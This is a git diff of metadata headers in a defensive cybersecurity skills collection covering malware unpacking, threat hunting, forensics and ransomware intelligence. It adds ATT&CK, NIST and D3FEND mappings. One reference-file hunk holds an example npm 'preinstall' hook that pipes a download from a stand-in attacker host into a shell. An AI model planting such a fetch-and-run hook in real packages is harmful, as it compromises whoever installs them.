-description: >
-  Identifies and unpacks UPX-packed and other packed malware samples to expose the original
-  executable code for static analysis. Covers both standard UPX unpacking and handling
-  modified UPX headers that prevent automated decompression. Activates for requests involving
-  malware unpacking, UPX decompression, packer removal, or preparing packed samples for analysis.
+description: 'Identifies and unpacks UPX-packed malware samples, including binaries with modified UPX magic bytes or headers that block automated decompression, to recover the original executable for static analysis. Use when a sample shows high entropy, minimal imports, or only LoadLibrary/GetProcAddress in its import table, or when preparing a packed binary for disassembly in Ghidra or IDA.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, unpacking, UPX, packing, static-analysis]
+tags:
+- malware
+- unpacking
+- UPX
+- packing
+- static-analysis
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1027.002
+- T1140
+- T1620
 ---
 
 # Analyzing Packed Malware with UPX Unpacker

skills/analyzing-pdf-malware-with-pdfid/SKILL.md

@@ -1,17 +1,33 @@
 ---
 name: analyzing-pdf-malware-with-pdfid
-description: >
-  Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded
-  JavaScript, shellcode, exploits, and suspicious objects without opening the document.
-  Determines the attack vector and extracts embedded payloads for further analysis.
-  Activates for requests involving PDF malware analysis, malicious document analysis,
-  PDF exploit investigation, or suspicious attachment triage.
+description: 'Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to
+  identify embedded JavaScript, shellcode, exploits, and suspicious objects without
+  opening the document. Determines the attack vector and extracts embedded payloads
+  for further analysis. Activates for requests involving PDF malware analysis, malicious
+  document analysis, PDF exploit investigation, or suspicious attachment triage.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, PDF-analysis, document-malware, PDFiD, static-analysis]
+tags:
+- malware
+- PDF-analysis
+- document-malware
+- PDFiD
+- static-analysis
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1204.002
+- T1566.001
+- T1059.007
+- T1027
 ---
 
 # Analyzing PDF Malware with PDFiD

skills/analyzing-persistence-mechanisms-in-linux/SKILL.md

@@ -1,13 +1,36 @@
 ---
 name: analyzing-persistence-mechanisms-in-linux
-description: Detect and analyze Linux persistence mechanisms including crontab entries, systemd service units, LD_PRELOAD hijacking, bashrc modifications, and authorized_keys backdoors using auditd and file integrity monitoring
+description: Scan Linux systems for persistence mechanisms including crontab/systemd entries, LD_PRELOAD injection, shell profile modifications (.bashrc, .profile), and SSH authorized_keys backdoors, then correlate findings with auditd logs into an installation timeline. Use during incident response or threat hunting to detect or confirm how an adversary maintained access to a compromised Linux host.
 domain: cybersecurity
 subdomain: threat-hunting
-tags: [linux-persistence, crontab, systemd, ld-preload, auditd, threat-hunting, incident-response]
-mitre_attack: ["T1053.003", "T1543.002", "T1574.006", "T1546.004"]
-version: "1.0"
+tags:
+- linux-persistence
+- crontab
+- systemd
+- ld-preload
+- auditd
+- threat-hunting
+- incident-response
+mitre_attack:
+- T1053.003
+- T1543.002
+- T1574.006
+- T1546.004
+- T1098.004
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- Executable Denylisting
+- Execution Isolation
+- File Metadata Consistency Validation
+- Process Termination
+- Content Format Conversion
+nist_csf:
+- DE.CM-01
+- DE.AE-02
+- DE.AE-07
+- ID.RA-05
 ---
 
 # Analyzing Persistence Mechanisms in Linux

skills/analyzing-powershell-empire-artifacts/SKILL.md

@@ -1,12 +1,42 @@
 ---
 name: analyzing-powershell-empire-artifacts
-description: Detect PowerShell Empire framework artifacts in Windows event logs by identifying Base64 encoded launcher patterns, default user agents, staging URL structures, stager IOCs, and known Empire module signatures in Script Block Logging events.
+description: Detect PowerShell Empire post-exploitation framework artifacts in Windows Script Block Logging (Event ID 4104) and Module Logging (Event ID 4103), including the default launcher string, Base64-encoded WebClient/FromBase64String payloads, known module invocations (Invoke-Mimikatz, Invoke-Kerberoast), and staging URL patterns. Use when hunting for or confirming Empire C2 activity in Windows event logs.
 domain: cybersecurity
 subdomain: threat-hunting
-tags: [PowerShell-Empire, threat-hunting, Script-Block-Logging, base64, stager, C2, MITRE-ATT&CK, T1059.001, forensics]
-version: "1.0"
+tags:
+- PowerShell-Empire
+- threat-hunting
+- Script-Block-Logging
+- base64
+- stager
+- C2
+- MITRE-ATT&CK
+- T1059.001
+- forensics
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- Executable Denylisting
+- Execution Isolation
+- File Metadata Consistency Validation
+- Content Format Conversion
+- File Content Analysis
+nist_ai_rmf:
+- GOVERN-1.1
+- MEASURE-2.7
+- MANAGE-3.1
+nist_csf:
+- DE.CM-01
+- DE.AE-02
+- DE.AE-07
+- ID.RA-05
+mitre_attack:
+- T1059.001
+- T1071.001
+- T1003.001
+- T1558.003
+- T1027.010
 ---
 
 # Analyzing PowerShell Empire Artifacts

skills/analyzing-powershell-script-block-logging/SKILL.md

@@ -1,16 +1,32 @@
 ---
 name: analyzing-powershell-script-block-logging
-description: >-
-  Parse Windows PowerShell Script Block Logs (Event ID 4104) from EVTX files to detect obfuscated
-  commands, encoded payloads, and living-off-the-land techniques. Uses python-evtx to extract and
-  reconstruct multi-block scripts, applies entropy analysis and pattern matching for Base64-encoded
-  commands, Invoke-Expression abuse, download cradles, and AMSI bypass attempts.
+description: Parse Windows PowerShell Script Block Logs (Event ID 4104) from EVTX
+  files to detect obfuscated commands, encoded payloads, and living-off-the-land techniques.
+  Uses python-evtx to extract and reconstruct multi-block scripts, applies entropy
+  analysis and pattern matching for Base64-encoded commands, Invoke-Expression abuse,
+  download cradles, and AMSI bypass attempts.
 domain: cybersecurity
 subdomain: security-operations
-tags: [analyzing, powershell, script, block]
-version: "1.0"
+tags:
+- powershell
+- script-block-logging
+- event-id-4104
+- obfuscation-detection
+- windows-forensics
+- endpoint-security
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.CM-01
+- RS.MA-01
+- GV.OV-01
+- DE.AE-02
+mitre_attack:
+- T1059.001
+- T1027.010
+- T1140
+- T1105
 ---
 
 

skills/analyzing-prefetch-files-for-execution-history/SKILL.md

@@ -1,12 +1,27 @@
 ---
 name: analyzing-prefetch-files-for-execution-history
-description: Parse Windows Prefetch files to determine program execution history including run counts, timestamps, and referenced files for forensic investigation.
+description: Parse Windows Prefetch files (versions 17, 23, 26, 30) with tools like PECmd, WinPrefetchView, or python-prefetch to determine program execution history, including run counts, execution timestamps, and referenced files/DLLs. Use when building a timeline of program execution on a Windows system, confirming whether a suspicious binary ran, or correlating execution evidence with other forensic artifacts during an investigation.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, prefetch, windows-artifacts, execution-history, timeline-analysis, evidence-collection]
-version: "1.0"
+tags:
+- forensics
+- prefetch
+- windows-artifacts
+- execution-history
+- timeline-analysis
+- evidence-collection
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1059.001
+- T1003.001
+- T1021.002
+- T1567.002
 ---
 
 # Analyzing Prefetch Files for Execution History

skills/analyzing-ransomware-encryption-mechanisms/SKILL.md

@@ -1,17 +1,51 @@
 ---
 name: analyzing-ransomware-encryption-mechanisms
-description: >
-  Analyzes encryption algorithms, key management, and file encryption routines used by
-  ransomware families to assess decryption feasibility, identify implementation weaknesses,
-  and support recovery efforts. Covers AES, RSA, ChaCha20, and hybrid encryption schemes.
-  Activates for requests involving ransomware cryptanalysis, encryption analysis, key
-  recovery assessment, or ransomware decryption feasibility.
+description: 'Analyzes encryption algorithms, key management, and file encryption
+  routines used by ransomware families to assess decryption feasibility, identify
+  implementation weaknesses, and support recovery efforts. Covers AES, RSA, ChaCha20,
+  and hybrid encryption schemes. Activates for requests involving ransomware cryptanalysis,
+  encryption analysis, key recovery assessment, or ransomware decryption feasibility.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, ransomware, encryption, cryptanalysis, reverse-engineering]
+tags:
+- malware
+- ransomware
+- encryption
+- cryptanalysis
+- reverse-engineering
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1486
+- T1573.001
+- T1573.002
+- T1027
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - monetization
+  - positioning
+  techniques:
+  - id: F1018
+    name: Convert to Cryptocurrency
+    tactic: monetization
+    source: f3
+  - id: F1047
+    name: Transfer of funds
+    tactic: monetization
+    source: f3
+  - id: T1219
+    name: Remote Access Tools
+    tactic: positioning
+    source: attack
 ---
 
 # Analyzing Ransomware Encryption Mechanisms

skills/analyzing-ransomware-leak-site-intelligence/SKILL.md

@@ -1,12 +1,52 @@
 ---
 name: analyzing-ransomware-leak-site-intelligence
-description: Monitor and analyze ransomware group data leak sites (DLS) to track victim postings, extract threat intelligence on group tactics, and assess sector-specific ransomware risk for proactive defense.
+description: Safely monitor ransomware group Tor-hosted data leak sites (DLS) to collect and extract structured victim posting data, track group activity trends over time, and produce sector- and geography-specific ransomware risk assessments. Use when performing threat intelligence gathering on active ransomware groups or building proactive defense reporting from double-extortion leak-site activity.
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [ransomware, leak-site, data-leak, extortion, threat-intelligence, monitoring, dls, victim-tracking]
-version: "1.0"
+tags:
+- ransomware
+- leak-site
+- data-leak
+- extortion
+- threat-intelligence
+- leak-site-monitoring
+- dls
+- victim-tracking
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1657
+- T1486
+- T1567.002
+- T1591
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - monetization
+  - reconnaissance
+  techniques:
+  - id: F1018
+    name: Convert to Cryptocurrency
+    tactic: monetization
+    source: f3
+  - id: F1029
+    name: Gather Customer Information
+    tactic: reconnaissance
+    source: f3
+  - id: T1593
+    name: Search Open Websites/Domains
+    tactic: reconnaissance
+    source: attack
+  - id: F1025.003
+    name: 'Electronic Funds Transfer: Wire Transfer'
+    tactic: monetization
+    source: f3
 ---
 # Analyzing Ransomware Leak Site Intelligence
 

skills/analyzing-ransomware-network-indicators/SKILL.md

@@ -1,12 +1,54 @@
 ---
 name: analyzing-ransomware-network-indicators
-description: Identify ransomware network indicators including C2 beaconing patterns, TOR exit node connections, data exfiltration flows, and encryption key exchange via Zeek conn.log and NetFlow analysis
+description: Identify ransomware-related network indicators, including C2 beaconing patterns, TOR exit node connections, data exfiltration flows, and encryption key exchange, by analyzing Zeek conn.log and NetFlow data. Use when threat hunting for active ransomware network activity or investigating suspected pre-encryption exfiltration during incident response.
 domain: cybersecurity
 subdomain: threat-hunting
-tags: [ransomware, c2-beaconing, zeek, netflow, tor, exfiltration, network-forensics]
-version: "1.0"
+tags:
+- ransomware
+- c2-beaconing
+- zeek
+- netflow
+- tor
+- exfiltration
+- network-forensics
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- File Metadata Consistency Validation
+- Certificate Analysis
+- Application Protocol Command Analysis
+- Content Format Conversion
+- File Content Analysis
+nist_csf:
+- DE.CM-01
+- DE.AE-02
+- DE.AE-07
+- ID.RA-05
+mitre_attack:
+- T1071.001
+- T1573
+- T1048
+- T1567.002
+- T1486
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - positioning
+  - monetization
+  techniques:
+  - id: T1219
+    name: Remote Access Tools
+    tactic: positioning
+    source: attack
+  - id: F1018
+    name: Convert to Cryptocurrency
+    tactic: monetization
+    source: f3
+  - id: F1047
+    name: Transfer of funds
+    tactic: monetization
+    source: f3
 ---
 
 # Analyzing Ransomware Network Indicators

skills/analyzing-ransomware-payment-wallets/SKILL.md

@@ -1,18 +1,54 @@
 ---
 name: analyzing-ransomware-payment-wallets
-description: >
-  Traces ransomware cryptocurrency payment flows using blockchain analysis tools
-  such as Chainalysis Reactor, WalletExplorer, and blockchain.com APIs. Identifies
-  wallet clusters, tracks fund movement through mixers and exchanges, and supports
-  law enforcement attribution. Activates for requests involving ransomware payment
-  tracing, bitcoin wallet analysis, cryptocurrency forensics, or blockchain
-  intelligence gathering.
+description: 'Traces ransomware cryptocurrency payment flows using blockchain analysis tools such as Chainalysis Reactor, WalletExplorer, and blockchain.com APIs, identifying wallet clusters and tracking fund movement through mixers and exchanges to support law enforcement attribution. Use when tracing ransomware bitcoin payments, performing cryptocurrency wallet forensics, or gathering blockchain threat intelligence on extortion payments.
+
+  '
 domain: cybersecurity
 subdomain: ransomware-defense
-tags: [ransomware, blockchain, cryptocurrency, forensics, threat-intelligence, bitcoin]
+tags:
+- ransomware
+- blockchain
+- cryptocurrency
+- forensics
+- threat-intelligence
+- bitcoin
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.DS-11
+- RS.MA-01
+- RC.RP-01
+- PR.IR-01
+mitre_attack:
+- T1657
+- T1486
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - monetization
+  - stealth
+  techniques:
+  - id: F1018
+    name: Convert to Cryptocurrency
+    tactic: monetization
+    source: f3
+  - id: F1017
+    name: Conversion to Physical Monetary Instruments
+    tactic: monetization
+    source: f3
+  - id: F1017.001
+    name: 'Conversion to Physical Monetary Instruments: Cash'
+    tactic: monetization
+    source: f3
+  - id: F1047
+    name: Transfer of funds
+    tactic: monetization
+    source: f3
+  - id: F1045
+    name: Structuring
+    tactic: stealth
+    source: f3
 ---
 
 # Analyzing Ransomware Payment Wallets

skills/analyzing-sbom-for-supply-chain-vulnerabilities/SKILL.md

@@ -1,18 +1,47 @@
 ---
 name: analyzing-sbom-for-supply-chain-vulnerabilities
-description: >
-  Parses Software Bill of Materials (SBOM) in CycloneDX and SPDX JSON formats to identify
-  supply chain vulnerabilities by correlating components against the NVD CVE database via
-  the NVD 2.0 API. Builds dependency graphs, calculates risk scores, identifies transitive
-  vulnerability paths, and generates compliance reports. Activates for requests involving
-  SBOM analysis, software composition analysis, supply chain security assessment, dependency
-  vulnerability scanning, CycloneDX/SPDX parsing, or CVE correlation.
+description: 'Parses Software Bill of Materials (SBOM) in CycloneDX and SPDX JSON
+  formats to identify supply chain vulnerabilities by correlating components against
+  the NVD CVE database via the NVD 2.0 API. Builds dependency graphs, calculates risk
+  scores, identifies transitive vulnerability paths, and generates compliance reports.
+  Activates for requests involving SBOM analysis, software composition analysis, supply
+  chain security assessment, dependency vulnerability scanning, CycloneDX/SPDX parsing,
+  or CVE correlation.
+
+  '
 domain: cybersecurity
 subdomain: supply-chain-security
-tags: [SBOM, CycloneDX, SPDX, NVD, CVE, supply-chain, dependency-analysis, syft, grype]
+tags:
+- SBOM
+- CycloneDX
+- SPDX
+- NVD
+- CVE
+- supply-chain
+- dependency-analysis
+- syft
+- grype
 version: 1.0.0
 author: mukul975
 license: Apache-2.0
+atlas_techniques:
+- AML.T0010
+nist_ai_rmf:
+- GOVERN-5.2
+- MAP-1.6
+- MANAGE-2.2
+- GOVERN-1.1
+- GOVERN-4.2
+nist_csf:
+- GV.SC-01
+- GV.SC-03
+- GV.SC-06
+- GV.SC-07
+mitre_attack:
+- T1195.001
+- T1195.002
+- T1554
+- T1190
 ---
 
 # Analyzing SBOM for Supply Chain Vulnerabilities

skills/analyzing-security-logs-with-splunk/SKILL.md

@@ -1,19 +1,51 @@
 ---
 name: analyzing-security-logs-with-splunk
-description: >
-  Leverages Splunk Enterprise Security and SPL (Search Processing Language) to
-  investigate security incidents through log correlation, timeline reconstruction,
+description: 'Leverages Splunk Enterprise Security and SPL (Search Processing Language)
+  to investigate security incidents through log correlation, timeline reconstruction,
   and anomaly detection. Covers Windows event logs, firewall logs, proxy logs, and
   authentication data analysis. Activates for requests involving Splunk investigation,
   SPL queries, SIEM log analysis, security event correlation, or log-based incident
   investigation.
+
+  '
 domain: cybersecurity
 subdomain: incident-response
-tags: [splunk, SPL, SIEM, log-analysis, security-monitoring]
-mitre_attack: ["T1070", "T1562", "T1059"]
+tags:
+- splunk
+- SPL
+- SIEM
+- log-analysis
+- security-monitoring
+mitre_attack:
+- T1110
+- T1550.002
+- T1021.001
+- T1059.001
+- T1003.001
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0070
+- AML.T0066
+- AML.T0082
+d3fend_techniques:
+- Executable Denylisting
+- Execution Isolation
+- File Metadata Consistency Validation
+- Content Format Conversion
+- File Content Analysis
+nist_ai_rmf:
+- MEASURE-2.7
+- MAP-5.1
+- MANAGE-2.4
+- MANAGE-3.1
+- MEASURE-3.1
+nist_csf:
+- RS.MA-01
+- RS.MA-02
+- RS.AN-03
+- RC.RP-01
 ---
 
 # Analyzing Security Logs with Splunk

skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md

@@ -1,12 +1,29 @@
 ---
 name: analyzing-slack-space-and-file-system-artifacts
-description: Examine file system slack space, MFT entries, USN journal, and alternate data streams to recover hidden data and reconstruct file activity on NTFS volumes.
+description: Examine NTFS slack space, MFT entries, the USN Change Journal, and Alternate Data Streams (ADS) to recover hidden or residual data, reconstruct deleted-file metadata, and reconstruct available file-system change activity from USN records. Use during deep forensic analysis of an NTFS image when standard file recovery is insufficient, such as hunting for data hidden in ADS.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, slack-space, ntfs, mft, usn-journal, alternate-data-streams, file-system-analysis]
-version: "1.0"
+tags:
+- forensics
+- slack-space
+- ntfs
+- mft
+- usn-journal
+- alternate-data-streams
+- file-system-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1070.006
+- T1564.004
+- T1070.004
+- T1005
+- T1006
 ---
 
 # Analyzing Slack Space and File System Artifacts

skills/analyzing-supply-chain-malware-artifacts/SKILL.md

@@ -1,12 +1,44 @@
 ---
 name: analyzing-supply-chain-malware-artifacts
-description: Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise.
+description: Investigate supply chain attack artifacts including trojanized software
+  updates, compromised build pipelines, and sideloaded dependencies to identify intrusion
+  vectors and scope of compromise.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [supply-chain, malware-analysis, trojanized-software, solarwinds, 3cx, dependency-confusion, software-integrity]
-version: "1.0"
+tags:
+- supply-chain
+- malware-analysis
+- trojanized-software
+- solarwinds
+- 3cx
+- dependency-confusion
+- software-integrity
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0010
+nist_ai_rmf:
+- GOVERN-5.2
+- MAP-1.6
+- MANAGE-2.2
+d3fend_techniques:
+- Platform Hardening
+- Hardware Component Inventory
+- Restore Object
+- Electromagnetic Radiation Hardening
+- RF Shielding
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1195.002
+- T1195.001
+- T1554
+- T1553.002
+- T1027
 ---
 # Analyzing Supply Chain Malware Artifacts
 

skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md

@@ -77,7 +77,7 @@ cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
 ```json
 {
   "scripts": {
-    "preinstall": "curl evil.com/payload | sh",
+    "preinstall": "curl evil[.]example/payload | sh",
     "postinstall": "node ./install.js",
     "preuninstall": "node cleanup.js"
   }

skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md

@@ -1,12 +1,36 @@
 ---
 name: analyzing-threat-actor-ttps-with-mitre-attack
-description: MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations. This skill covers systematically mapping threat actor beh
+description: Systematically map threat actor behavior and observed IOCs to the MITRE ATT&CK framework, build technique coverage heatmaps with the ATT&CK Navigator, identify detection gaps, and produce actionable threat intelligence reports across the Enterprise, Mobile, and ICS matrices. Use when analyzing threat actor TTPs, correlating IOCs to specific ATT&CK techniques, or assessing defensive detection coverage against adversary behavior.
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [threat-intelligence, cti, ioc, mitre-attack, stix, ttp-analysis, threat-actors]
-version: "1.0"
+tags:
+- threat-intelligence
+- cti
+- ioc
+- mitre-attack
+- stix
+- ttp-analysis
+- threat-actors
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- Executable Denylisting
+- Execution Isolation
+- File Metadata Consistency Validation
+- Content Format Conversion
+- File Content Analysis
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1566.001
+- T1059.001
+- T1071.001
+- T1547.001
+- T1053.005
 ---
 # Analyzing Threat Actor TTPs with MITRE ATT&CK
 

skills/analyzing-threat-actor-ttps-with-mitre-navigator/SKILL.md

@@ -1,18 +1,46 @@
 ---
 name: analyzing-threat-actor-ttps-with-mitre-navigator
-description: >
-  Map advanced persistent threat (APT) group tactics, techniques, and procedures (TTPs) to
-  the MITRE ATT&CK framework using the ATT&CK Navigator and attackcti Python library. The
-  analyst queries STIX/TAXII data for group-technique associations, generates Navigator layer
-  files for visualization, and compares defensive coverage against adversary profiles.
-  Activates for requests involving APT TTP mapping, ATT&CK Navigator layers, threat actor
-  profiling, or MITRE technique coverage analysis.
+description: 'Map advanced persistent threat (APT) group TTPs to the MITRE ATT&CK framework using the attackcti Python library to query STIX/TAXII data for group-technique associations, then generate ATT&CK Navigator layer files to visualize and compare defensive coverage against adversary profiles. Use when profiling an APT group''s techniques, building Navigator coverage heatmaps, or assessing technique coverage gaps against a specific threat actor.
+
+  '
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [mitre-attack, navigator, threat-intelligence, apt, ttp-mapping, stix, attackcti]
-version: "1.0"
+tags:
+- mitre-attack
+- navigator
+- threat-intelligence
+- apt
+- ttp-mapping
+- stix
+- attackcti
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_ai_rmf:
+- MEASURE-2.7
+- MAP-5.1
+- MANAGE-2.4
+atlas_techniques:
+- AML.T0070
+- AML.T0066
+- AML.T0082
+d3fend_techniques:
+- File Metadata Consistency Validation
+- Application Protocol Command Analysis
+- Identifier Analysis
+- Content Format Conversion
+- Message Analysis
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1566.001
+- T1059.001
+- T1071.001
+- T1547.001
+- T1053.005
 ---
 # Analyzing Threat Actor TTPs with MITRE Navigator
 

skills/analyzing-threat-intelligence-feeds/SKILL.md

@@ -1,17 +1,39 @@
 ---
 name: analyzing-threat-intelligence-feeds
-description: >
-  Analyzes structured and unstructured threat intelligence feeds to extract actionable indicators,
-  adversary tactics, and campaign context. Use when ingesting commercial or open-source CTI feeds,
-  evaluating feed quality, normalizing data into STIX 2.1 format, or enriching existing IOCs with
-  campaign attribution. Activates for requests involving ThreatConnect, Recorded Future, Mandiant
-  Advantage, MISP, AlienVault OTX, or automated feed aggregation pipelines.
+description: 'Analyzes structured and unstructured threat intelligence feeds to extract
+  actionable indicators, adversary tactics, and campaign context. Use when ingesting
+  commercial or open-source CTI feeds, evaluating feed quality, normalizing data into
+  STIX 2.1 format, or enriching existing IOCs with campaign attribution. Activates
+  for requests involving ThreatConnect, Recorded Future, Mandiant Advantage, MISP,
+  AlienVault OTX, or automated feed aggregation pipelines.
+
+  '
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [STIX, TAXII, MITRE-ATT&CK, IOC, ThreatConnect, Recorded-Future, MISP, CTI, NIST-CSF]
+tags:
+- STIX
+- TAXII
+- MITRE-ATT&CK
+- IOC
+- ThreatConnect
+- Recorded-Future
+- MISP
+- CTI
+- NIST-CSF
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1071.001
+- T1566
+- T1568
+- T1583.001
+- T1102
 ---
 # Analyzing Threat Intelligence Feeds